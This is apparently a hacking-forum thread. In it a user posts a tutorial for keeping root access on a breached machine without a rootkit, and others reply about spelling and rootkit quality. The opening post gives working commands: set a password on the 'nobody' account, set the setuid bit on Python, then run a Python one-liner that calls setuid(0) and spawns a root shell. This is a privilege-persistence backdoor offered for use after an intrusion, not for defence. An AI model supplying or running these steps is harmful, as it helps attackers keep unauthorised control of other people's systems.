[r00tmaster]

Jynx2 and shv5 are quite good rootkits. Jynx2 is way better though.

So, there was a thread like 5 minutes ago talking bullshit.

Now, how to maintain root access once you've got in and managed to escalate privs with your local 0day exploiting some vulnerable suids, without a rootkit?

Easy, ever heard of Setuids, or suids? You will make that program run as root to a normal user (non-root).

So, the best way would be changing the password of a non-root user such as nobody, so just type:

passwd nobody, and set the password.

Then:

chmod u+s /usr/bin/python

This will set a suid bit on python.

When you log in to the box as nobody (non-root user), you should type:

python -c "z=__import__('os'); z.setuid(0); z.system('sh')"

uid=(0) around here, eh?

[Bannedshee]

Please fix up the grammar and spelling. Seems like a decent tutorial though. Thanks.

[r00tmaster]

Please fix up the grammar and spelling. Seems like a decent tutorial though. Thanks.

Sure, made a few mistakes because i was writting to fast. I hope i have fixed them all.

[Bannedshee]

"escalate privs with your cero dia loca" Fix that and it should be good.

[r00tmaster]

"escalate privs with your cero dia loca" Fix that and it should be good.

That is Spanish. Who doesn't understand Spanish?

[Bannedshee]

"escalate privs with your cero dia loca" Fix that and it should be good.

That is Spanish. Who doesn't understand Spanish?

Me :\

[Balls]

"escalate privs with your cero dia loca" Fix that and it should be good.

That is Spanish. Who doesn't understand Spanish?

I live in Canada. Here we learn French, not Spanish.

[Sabu]

Oh god shv5 is far from a good rootkit. Why would you recommend that?
Shv5 is easily found with pretty much any rootkit hunter out there.